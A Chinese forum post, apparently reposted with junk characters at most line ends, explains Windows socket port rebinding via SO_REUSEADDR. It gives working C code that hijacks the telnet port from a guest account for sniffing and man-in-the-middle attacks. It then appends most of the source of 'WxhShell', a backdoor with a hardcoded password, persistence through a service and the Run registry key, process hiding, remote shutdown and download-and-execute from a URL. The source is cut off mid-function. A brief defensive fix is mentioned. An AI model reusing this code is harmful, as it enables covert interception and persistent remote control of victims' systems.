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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AXI:h"so  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !X_~|5.  
dkC/ ?R  
  saddr.sin_family = AF_INET; B\yq% m  
znRhQ+8;!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g>CQO,s;w  
M*uG`Eo&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hglt D8,  
1i2w<VG1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h!]A(T\J  
K@hUif|([  
  这意味着什么?意味着可以进行如下的攻击: &9{BuBO[  
,:{+ H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EC/R|\d?Un  
xnOlV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [J Xrj{  
9m!fW|4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z w9r0bG  
m8'1@1d|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7F~+z7(h  
h#nQd=H<g#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _%B`Y ?I`  
E]Q)pZ{Jb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BD+?Ad?  
l"8YIsir  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7L"/4w  
jyr#e  
  #include .IU+4ENSy4  
  #include 1L7,x @w  
  #include 5K<C  
  #include    z(qz(`eGC&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?CDq^)T[  
  int main() q4oZJ-`  
  { ,,gYU_V  
  WORD wVersionRequested; !NjE5USi  
  DWORD ret; Y}U w7\e  
  WSADATA wsaData; x ,W+:l9~s  
  BOOL val; sn%fE  
  SOCKADDR_IN saddr; kF .b)  
  SOCKADDR_IN scaddr; KMcP!N.I  
  int err; g~b'}^J  
  SOCKET s; `314.a6S  
  SOCKET sc; ;*p} ~#2  
  int caddsize; Q{60^vg  
  HANDLE mt; 7j8_O@_  
  DWORD tid;   ;q2T*4NN  
  wVersionRequested = MAKEWORD( 2, 2 ); 6~LpBlb  
  err = WSAStartup( wVersionRequested, &wsaData ); Ok!{2$P8U9  
  if ( err != 0 ) { &@+; ]t  
  printf("error!WSAStartup failed!\n"); )3  
  return -1; @T"385>  
  } bv"S(  
  saddr.sin_family = AF_INET; DP_\%(A  
   jYv !}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vCM'nkXY  
1YxI q565  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3$54*J  
  saddr.sin_port = htons(23); e<K=Q$U.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q-#fuD^  
  { p(Mv^ea  
  printf("error!socket failed!\n"); ;f Gi5=-  
  return -1; 4tjRju?  
  } Hw? J1#1IE  
  val = TRUE; >B0S5:S$W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ??PpHB J')  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) it$~uP |  
  { H'2 =yhtVh  
  printf("error!setsockopt failed!\n"); ^E^:=Q?'_  
  return -1; $ }53f'QjW  
  } al/~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c@`P{ 6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wj&s5;2a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &n|gPp77$  
*O~D lf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G`jhzG  
  { i{2KMa{K  
  ret=GetLastError(); P;34Rd  
  printf("error!bind failed!\n"); YQ/ *|  
  return -1; z5I<,[`  
  } _PF><ODX2  
  listen(s,2); q2y:b qLWl  
  while(1) @p;4g_F  
  { Dts:$PlCk  
  caddsize = sizeof(scaddr); uw]Jm"=w  
  //接受连接请求 ryN-d%t?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |d K-r  
  if(sc!=INVALID_SOCKET) /+u*9ZR&1  
  { )8;'fE[p}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bHCd|4e,2  
  if(mt==NULL) Vq\6c  
  { tyh%s"  
  printf("Thread Creat Failed!\n"); pyKMi /)bL  
  break; j^gF~ Wz^  
  } LHp s2,  
  } F3q5!1  
  CloseHandle(mt); LPC7Bdjz  
  } J0IK =Y  
  closesocket(s); A.[T#ZB.4  
  WSACleanup(); =LRUasF  
  return 0; {q^KlSjm  
  }   DQSv'!KFO  
  DWORD WINAPI ClientThread(LPVOID lpParam) T(6S~; ,Z  
  { ="`y<J P  
  SOCKET ss = (SOCKET)lpParam; X^ovP'c2  
  SOCKET sc; VaB7)r  
  unsigned char buf[4096]; 0pQ>V)  
  SOCKADDR_IN saddr; 5Ai Yx}  
  long num; IH5thL@D  
  DWORD val; B?jF1F!9  
  DWORD ret; tc[PJH&P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k(MQ:9'|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MmX42;Pw  
  saddr.sin_family = AF_INET; U+KbvkX wj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MIgIt"M jz  
  saddr.sin_port = htons(23); 7Ny>W(8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xe5J  
  { HN:{rAIfc  
  printf("error!socket failed!\n"); }~7>S5  
  return -1; $hL0/T-m  
  } m2;%|QE(  
  val = 100; fqcyCu7Ep  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hm& ~6rB  
  { ZrTq)BZ  
  ret = GetLastError(); thh, V   
  return -1; ?F-,4Ox{/  
  } 1xw},y6T2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z1Ms ~tch  
  { :!%oQQO  
  ret = GetLastError(); X **w RF  
  return -1; V #=N?p  
  } DT*/2TH*l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !n7?w@2a'  
  { 5+U~ZW0|+  
  printf("error!socket connect failed!\n"); I0Vm^\8  
  closesocket(sc); :7R\"@V4  
  closesocket(ss); sIy  LW  
  return -1; U}UIbJD*=  
  } ?f%@8%px  
  while(1) (k[<>$hL*  
  { eN/Jb;W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @-hy:th#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h.67] U7m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A3Su&0uaB  
  num = recv(ss,buf,4096,0);  9( m^^  
  if(num>0) 69_c,(M0  
  send(sc,buf,num,0); -/h$Yb  
  else if(num==0) , 7}Ri  
  break; 4F'@yi^Gt  
  num = recv(sc,buf,4096,0); >6@UjGj54  
  if(num>0) b&LhydaJ  
  send(ss,buf,num,0); =/zQJzN  
  else if(num==0) R)#"Ab Z'  
  break; _8bqk\m+  
  } P?bdjU#_n`  
  closesocket(ss); 5f1yszd  
  closesocket(sc); zP5HTEz  
  return 0 ; rIu>JyC"p  
  } 2+|[e_  
~WVrtYJu  
m^TkFt<BM  
========================================================== ;$W|FpR2  
+ux,cx.U"  
下边附上一个代码,,WXhSHELL (j2]:B Vu  
z8gp<5=  
========================================================== n.XT-X^  
poM VB{U  
#include "stdafx.h" _N<8!(|w  
Z rvb %  
#include <stdio.h> P/^:IfuR  
#include <string.h> #KiRH* giU  
#include <windows.h> \wTW hr0  
#include <winsock2.h>  HSTtDTo  
#include <winsvc.h> hGPjH=^EM  
#include <urlmon.h> S:Hg =|R  
zg)]:  
#pragma comment (lib, "Ws2_32.lib") $PNR?  
#pragma comment (lib, "urlmon.lib") Wt_@ vs@.O  
`TAhW  
#define MAX_USER   100 // 最大客户端连接数 eQMY3/#  
#define BUF_SOCK   200 // sock buffer W4Zi?@L>'  
#define KEY_BUFF   255 // 输入 buffer c: _l+CgeH  
{uq  
#define REBOOT     0   // 重启 T@X!vCjf6  
#define SHUTDOWN   1   // 关机 qg+ 8i9Y!  
qF>}"m  
#define DEF_PORT   5000 // 监听端口 ).xQ~A\.  
v\Q${6kEtx  
#define REG_LEN     16   // 注册表键长度 (d@lG*K  
#define SVC_LEN     80   // NT服务名长度 s$mcIMqs  
ujHqw Rh  
// 从dll定义API 2LXy$[)7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PE3l2kr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mhh8<BI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 92XzbbLp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uQrD}%GI  
P.LMu  
// wxhshell配置信息 xqIt?v2c  
struct WSCFG {  $ l Y  
  int ws_port;         // 监听端口 a:1-n %&F  
  char ws_passstr[REG_LEN]; // 口令 j:rGFd  
  int ws_autoins;       // 安装标记, 1=yes 0=no $ -;,O8yR  
  char ws_regname[REG_LEN]; // 注册表键名 5r@x$*>e  
  char ws_svcname[REG_LEN]; // 服务名 "(/.3`g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )| 3?7?X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mL ]zkD_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fj|C+;Q.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xoPpu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m\[r6t]V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |6$6Za]:  
mI@]{K}Q%  
}; LY/K ,6^a  
/z`LB  
// default Wxhshell configuration zuXJf+]  
struct WSCFG wscfg={DEF_PORT, UP^{'eh  
    "xuhuanlingzhe", }~yhkt5K  
    1, G,%R`Xns  
    "Wxhshell", G|v{[>tr  
    "Wxhshell", rD fUTfv|Q  
            "WxhShell Service", 9tWu>keu  
    "Wrsky Windows CmdShell Service", o|$l+TC  
    "Please Input Your Password: ", )y_MI r  
  1, zJOL\J'  
  "http://www.wrsky.com/wxhshell.exe", f8!*4Bw  
  "Wxhshell.exe" b<NI6z8\  
    }; 3 `$-  
K'Wg_ihA  
// 消息定义模块 p8frSrcU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gm\P`~+o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >`SIB; &>j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `VwZDU~6  
char *msg_ws_ext="\n\rExit."; i_Ab0vye  
char *msg_ws_end="\n\rQuit."; w>J|416  
char *msg_ws_boot="\n\rReboot..."; GeD^-.^  
char *msg_ws_poff="\n\rShutdown..."; b+9M? k"  
char *msg_ws_down="\n\rSave to "; I 4 ,C-D  
L slI!.(  
char *msg_ws_err="\n\rErr!"; :[?hU}9  
char *msg_ws_ok="\n\rOK!"; a)/!ifJ;  
d@JjqE[  
char ExeFile[MAX_PATH]; FQ2 6(.  
int nUser = 0; a^>0XXr}Y  
HANDLE handles[MAX_USER]; TDq(%IW  
int OsIsNt; S2'./!3yv  
Qk *`9  
SERVICE_STATUS       serviceStatus; 2r]80sWY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '1_CMr  
|gg 6|,Bt4  
// 函数声明 gDa}8!+i  
int Install(void); =`Pgo5A  
int Uninstall(void); sEm-Td+A5  
int DownloadFile(char *sURL, SOCKET wsh); |>Qj]  
int Boot(int flag); 1/:WA:]1 ,  
void HideProc(void); ozy~`$;c  
int GetOsVer(void); &A)AV<=>T  
int Wxhshell(SOCKET wsl); fucG 9B  
void TalkWithClient(void *cs); Bq3"l%hI  
int CmdShell(SOCKET sock); jhOQ)QE|  
int StartFromService(void); aSkH<5i`v  
int StartWxhshell(LPSTR lpCmdLine); uS`XWn<CSD  
#(=8 RA:@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g4EC[>5!r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p"\Z@c  
JTA65T{3  
// 数据结构和表定义 .zZee,kM  
SERVICE_TABLE_ENTRY DispatchTable[] = 9`4M o+  
{ U@T"teGBA  
{wscfg.ws_svcname, NTServiceMain}, L3/m}AH,  
{NULL, NULL} V{+'(<SV  
}; pyJY]"UHVE  
E<]O,z;F  
// 自我安装 MH7 n@.t  
int Install(void) )7jjfD\  
{ #q#C_"  
  char svExeFile[MAX_PATH]; H]As2$[  
  HKEY key; F,5~a_GP?  
  strcpy(svExeFile,ExeFile); 3}~.#`QeY  
wr I66R}@  
// 如果是win9x系统,修改注册表设为自启动 uj;tmK>;  
if(!OsIsNt) { cBZ$$$v\#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G'<:O(Imu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mtq\xF,/+  
  RegCloseKey(key); 1k"<T7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |qTvy,U[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A:! _ &  
  RegCloseKey(key); rO4R6A  
  return 0; [@ >}  
    } `Y]t*` e|  
  } $FXlH;_7  
} W>W b|W  
else { HueGARS  
;+C2P@M  
// 如果是NT以上系统,安装为系统服务 |I \&r[J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j.or:nF  
if (schSCManager!=0) tZ\e:AAi  
{ 2[} O:  
  SC_HANDLE schService = CreateService 5 XtIVHA@{  
  ( 89n\$7Ff9  
  schSCManager, &Z'3n9zl  
  wscfg.ws_svcname, ETZE.a  
  wscfg.ws_svcdisp, ISa}Km>Q  
  SERVICE_ALL_ACCESS, +guCTGD:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3ScOJo  
  SERVICE_AUTO_START, ,6VY S\a3  
  SERVICE_ERROR_NORMAL, r)<c ~\0 7  
  svExeFile, gOb"-;Zw  
  NULL, F^4mO|  
  NULL, k0r93 xa  
  NULL, }Um,wY[tK  
  NULL, 9!} ?}`'_  
  NULL YOOcHo.F  
  ); !U::kr=t  
  if (schService!=0) y[`>,?ns5  
  {  N$ oQK(  
  CloseServiceHandle(schService); _\&v A5-  
  CloseServiceHandle(schSCManager); Mbm'cM&}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !#&`1cYX  
  strcat(svExeFile,wscfg.ws_svcname); xu%_Zt2/?j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J(>T&G;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1FA:"0lO  
  RegCloseKey(key); KpX1GrIn3  
  return 0; s#cb wDT  
    } okm }%#|  
  } O}s Mqh  
  CloseServiceHandle(schSCManager); P*6h $T  
} B<$(Nb5<  
} ~#MXhhqB  
?i{/iH~Sf  
return 1; p C^=?!:U  
} Phq"A[4=O  
(jmF7XfU  
// 自我卸载 >;Ag7Ex  
int Uninstall(void) \^oI3K0`  
{ H~$*R7~  
  HKEY key; ,tTq25~H\  
Efp[K}Z^$  
if(!OsIsNt) { q!;u4J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8&Md=ZvK`  
  RegDeleteValue(key,wscfg.ws_regname);  LA]UIM@  
  RegCloseKey(key); i2P:I A|@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TI/5'Oke$  
  RegDeleteValue(key,wscfg.ws_regname); ]Z IreI  
  RegCloseKey(key); +7 \"^D  
  return 0;  L}=DC =E  
  } z{H=;"+rh  
} gCV+amP  
} f/95}6M  
else { sEymwpm9  
YMn*i<m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [CG3&J  
if (schSCManager!=0) b^:frjaE3  
{ k3+LP7|*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {nPiIPH  
  if (schService!=0) v\lKY*@f  
  { I:6H65(&  
  if(DeleteService(schService)!=0) { `O0bba=:=  
  CloseServiceHandle(schService); ??#SQSU  
  CloseServiceHandle(schSCManager); V_3K((P6  
  return 0; QQ,V35Vp[  
  } + mPVI  
  CloseServiceHandle(schService); 5pU/X.lc  
  } 6e>P!bo  
  CloseServiceHandle(schSCManager); j=dGNi)R  
} x,NV{uG$n  
} 4 _P6P  
 "F=ta  
return 1; 6]r#6c %  
} !o`riQLs>  
r]0>A&,  
// 从指定url下载文件 vRh)o1u)  
int DownloadFile(char *sURL, SOCKET wsh) D"msD"  
{ Q h{P>}  
  HRESULT hr; !^'6&NR#K  
char seps[]= "/"; ]f~!Qk!I7r  
char *token; dv Vz#  
char *file; <v6W l\  
char myURL[MAX_PATH]; $[g#P^  
char myFILE[MAX_PATH]; Te%V+l  
F%f)oq`B  
strcpy(myURL,sURL); _lDNYpv  
  token=strtok(myURL,seps); |%oI,d=ycv  
  while(token!=NULL) :6:,s#av  
  { $0gGRCCG;  
    file=token; @_$Un&eo  
  token=strtok(NULL,seps); .ah[!O  
  } |It&1fz}  
Ft^X[5G4L  
GetCurrentDirectory(MAX_PATH,myFILE); Jcy+(7lE)  
strcat(myFILE, "\\");  p9 G{Q  
strcat(myFILE, file); #-i#mbZ e  
  send(wsh,myFILE,strlen(myFILE),0); a/</P |UG  
send(wsh,"...",3,0); | |L^yI~_d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K$l@0r ~k  
  if(hr==S_OK) ~/qBOeU3  
return 0; h1H$3TpP  
else H$V`,=H  
return 1; dT0>\9ZNr  
j#Qnu0D  
} ^(s(4|  
erKi*GssZ  
// 系统电源模块 i &%m^p  
int Boot(int flag) + 9I|F m  
{ Qz89=#W  
  HANDLE hToken; S,EL=3},=  
  TOKEN_PRIVILEGES tkp; *07?U")  
^/VnRpU  
  if(OsIsNt) { +z[+kir  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "@^Q" RF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &>!-67  
    tkp.PrivilegeCount = 1; f@gvDo]Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b0/YX@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AB{zkEuK  
if(flag==REBOOT) { +cbF$,M4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .C.b5x!  
  return 0; _K&Hiz/'  
} XG!6[o;  
else { ]j!pK4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mMvAA;  
  return 0; l<p<\,nV$  
} l-P6B9e|\  
  } 5KfrkZ  
  else { N/'8W9#6  
if(flag==REBOOT) { peHjKK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i&8|@CACb  
  return 0; FQ> kTm`d  
} ~<-mxOe  
else { =~"X/ >'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B&7NF}CF2  
  return 0; dVk(R9 8  
} QJ(5o7Tfn  
} f5p/cUzX  
w5^k84vye  
return 1; <5^m`F5  
} PD^G$LT  
Y9gw ('\w  
// win9x进程隐藏模块 jABFdNjri  
void HideProc(void) SME9hS$4  
{ =j{tFxJ  
4l{$dtKbI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 93Zij<bH?e  
  if ( hKernel != NULL ) %% /8B  
  { sgDSl@lB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rB{w4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &4+|{Zx0  
    FreeLibrary(hKernel); 0b/@QgJ  
  } ZyDNtX%  
}n "5r(*^@  
return; )t@9!V  
} alB'l  
Aix6O=K6  
// 获取操作系统版本 :<mJRsDf  
int GetOsVer(void) F+GX{e7E\  
{ /G|v.#2/g  
  OSVERSIONINFO winfo; yXoNfsv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FZW`ADq]  
  GetVersionEx(&winfo); K a& 2>F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PO8Z2"WI  
  return 1; Z#B}#*<C  
  else |d&C<O;f  
  return 0;  ,vO\n^  
} 7#d:TXS  
wJ pb$;  
// 客户端句柄模块 @HiGc^ X(  
int Wxhshell(SOCKET wsl) wV iTMlq  
{ M.6uWwzQR  
  SOCKET wsh; ?AD- n6  
  struct sockaddr_in client; 0j;ZPqEf3  
  DWORD myID; w/O'&],x  
6T|Z4f|  
  while(nUser<MAX_USER) .ARM~{q6)@  
{ 4# PxJG6m  
  int nSize=sizeof(client); jdLu\=@z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qHp2;  
  if(wsh==INVALID_SOCKET) return 1; %#rtNDi  
+R L@g*`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BC/5bA  
if(handles[nUser]==0) J4"A6`O  
  closesocket(wsh); e@ D}/1~=  
else mI!iSVqr  
  nUser++; iLIb-d?!a&  
  } {hJCn*m_   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K!Fem6R  
/&Cq-W  
  return 0; Sh1$AGm  
} _B#x{ii  
jrFPd  
// 关闭 socket /FE+WA}r  
void CloseIt(SOCKET wsh) #*/nUbsg  
{ =1dczJHV  
closesocket(wsh); wn?oHz*  
nUser--; }nX0h6+1  
ExitThread(0); dQ7iieT  
} wM4{\  f\  
Tx~w(A4:  
// 客户端请求句柄 $kxP5q%9  
void TalkWithClient(void *cs) $u.rO7)  
{ Z^2SG_pD  
;akW i]  
  SOCKET wsh=(SOCKET)cs; 3vcyes-U  
  char pwd[SVC_LEN]; Pg8boN]}  
  char cmd[KEY_BUFF]; km C0.\  
char chr[1]; g%"SAeG<K  
int i,j; l[IL~  
| n)4APX\Q  
  while (nUser < MAX_USER) { :d9GkC  
; M0`8MD  
if(wscfg.ws_passstr) { JZ`SV}\`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f.uuXK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bR) P-9rs  
  //ZeroMemory(pwd,KEY_BUFF); u&1M(~Ub=  
      i=0; u9|Eos i  
  while(i<SVC_LEN) { ']eN4H&=?}  
2F`#df  
  // 设置超时 yQUrHxm  
  fd_set FdRead; jvsSP?]n  
  struct timeval TimeOut; gJX"4]Ol#}  
  FD_ZERO(&FdRead); XJPIAN~l  
  FD_SET(wsh,&FdRead); & ;.rPU  
  TimeOut.tv_sec=8; lY"l6.c  
  TimeOut.tv_usec=0; U`=r .>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '%t$m f!nV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %;ED} X  
HBR/" m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z2m^yRQ(  
  pwd=chr[0]; U5N|2  
  if(chr[0]==0xd || chr[0]==0xa) { :AFW=e@<  
  pwd=0; k^8;3#xG  
  break; C_/eNu\I  
  } r<1W.xd":  
  i++; #*.4Jv<R  
    } +58^{_k+%  
.<>t2,Af  
  // 如果是非法用户,关闭 socket 1aO(+](;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MbCz*oW  
} 'l<$H=ZUVG  
0ZDm[#7z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g2TK(S|#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r3U7`P   
>^`#%$+  
while(1) { 9&=%shOc+x  
AZhI~QWo  
  ZeroMemory(cmd,KEY_BUFF); { 'A 15  
JUA%l  
      // 自动支持客户端 telnet标准   M !"Q7>d  
  j=0; [dP<A ?s  
  while(j<KEY_BUFF) { ]Xnar:5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;kZD>G8  
  cmd[j]=chr[0]; u`Nrg<  
  if(chr[0]==0xa || chr[0]==0xd) { ";(m,i f-  
  cmd[j]=0; qXq#A&  
  break; nbP}a?XC  
  } :KvZP:T  
  j++; uKXU.u*C  
    } ~s4JGV~R  
 EH2):  
  // 下载文件 lshSRir  
  if(strstr(cmd,"http://")) { ym6Emf]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sq#C|v/  
  if(DownloadFile(cmd,wsh)) U:$z lfV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n8!|}J  
  else cwaR#-#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2i!R>`  
  } ~m=Z>4M  
  else { I:=!,4S;  
]wV\=m?z&  
    switch(cmd[0]) { ;:[P/eg  
  {`2 0'  
  // 帮助 Q$.CtECo  
  case '?': { cp8w _TPU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~oSA&v4V  
    break; e[T3,2C  
  } teDRX13=;  
  // 安装 '!Va9m*w7  
  case 'i': { nY1PRX\  
    if(Install()) xP1D 9   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMydeTCHi  
    else ZT&[:>upR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uhh[le2 %  
    break; ;_< Yzl  
    } 502(CO>  
  // 卸载 ,:}VbQ:3I  
  case 'r': { md{1Jn"  
    if(Uninstall()) 7 8xiT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@^ ?dQ  
    else B\AyG4J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r\b$/:y<e  
    break; -6F\=  
    } u{W I 4n?  
  // 显示 wxhshell 所在路径 :X9;KoJl-V  
  case 'p': { GPs4:CIgG  
    char svExeFile[MAX_PATH]; Rb b[N#p5  
    strcpy(svExeFile,"\n\r"); u5qaLHoEP  
      strcat(svExeFile,ExeFile); su\Lxv  
        send(wsh,svExeFile,strlen(svExeFile),0); Aj\m57e,6  
    break; QxEmuiN  
    } O&.gc p!  
  // 重启 tJ d/u QJ  
  case 'b': { ri"=)]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x51p'bNy  
    if(Boot(REBOOT)) !_o1;GzK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2V9"{F?  
    else { !h1|B7N  
    closesocket(wsh); =hh,yi  
    ExitThread(0); \@Z D.d#  
    } q,Nqv[va  
    break; GZ:1bV37%  
    } Vz,"vBds  
  // 关机 pDr/8HEh  
  case 'd': { 9WoTo ,q  
